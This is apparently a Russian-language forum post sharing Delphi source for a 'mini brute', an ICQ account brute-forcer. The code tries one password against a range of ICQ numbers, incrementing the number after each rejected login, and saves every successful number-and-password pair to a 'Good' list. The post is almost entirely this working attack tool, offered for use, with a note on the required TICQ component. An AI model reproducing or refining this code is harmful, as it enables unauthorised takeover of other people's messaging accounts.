код етого мини брута

unit Unit3;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ICQClient, ICQWorks, ExtCtrls, StdCtrls;

type

TForm3 = class(TForm)

ICQClient1: TICQClient;

Edit1: TEdit;

Edit2: TEdit;

Button1: TButton;

Timer1: TTimer;

Label1: TLabel;

Edit3: TEdit;

Button2: TButton;

GroupBox1: TGroupBox;

Label2: TLabel;

Label3: TLabel;

Label4: TLabel;

Button3: TButton;

Panel1: TPanel;

Good: TMemo;

Label5: TLabel;

procedure Button1Click(Sender: TObject);

procedure ICQClient1Login(Sender: TObject);

procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;

ErrorMsg: string);

procedure Timer1Timer(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.Button1Click(Sender: TObject);

begin

Button1.Enabled:=False;

Button2.Enabled:=True;

Button3.Enabled:=False;

Edit1.Enabled:=False;

Edit2.Enabled:=False;

Edit3.Enabled:=False;

Good.Enabled:=False;

Label1.Caption:='Ïîäêëþ÷åíèå...';

Timer1.Enabled:=True;

if ICQClient1.LoggedIn then

ICQClient1.LogOff;

ICQClient1.UIN:=StrToInt(Edit1.Text);

ICQClient1.Password:=Edit2.Text;

ICQClient1.Login(S_ONLINE);

end;

procedure TForm3.Button2Click(Sender: TObject);

begin

Timer1.Enabled:=False;

Good.Enabled:=True;

Button2.Enabled:=False;

Button1.Enabled:=True;

Button3.Enabled:=True;

Edit1.Enabled:=True;

Edit2.Enabled:=True;

Edit3.Enabled:=True

end;

procedure TForm3.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;

ErrorMsg: string);

begin

Label1.Caption:=ErrorMsg;

end;

procedure TForm3.ICQClient1Login(Sender: TObject);

begin

Good.Lines.Add(Edit1.Text+';'+Edit2.Text);

Label1.Caption:='Ñáðó÷åííî !!!';

ICQClient1.LogOff;

end;

procedure TForm3.Timer1Timer(Sender: TObject);

begin

if Edit1.Text = Edit3.Text then

Timer1.Enabled:=False;

if Label1.Caption = 'Connection failed. Your ICQ number or password was rejected.' then begin

Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);

Button1.Click;

Label1.Caption:='Ïîäêëþ÷åíèå...';

end;

if Label1.Caption = 'Connection timed out' then begin

Button1.Click;

Label1.Caption:='Ïîäêëþ÷åíèå...';

end;

if Label1.Caption = 'Ïîäêëþ÷åíèå...' then begin

Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);

Button1.Click;

Label1.Caption:='Ïîäêëþ÷åíèå ...';

end;

end;

procedure TForm3.Button3Click(Sender: TObject);

begin

Form3.Close;

end;

end.

необходим компонент TICQ

а что касается кода то друг помог немного т.к. я в делфи полный 0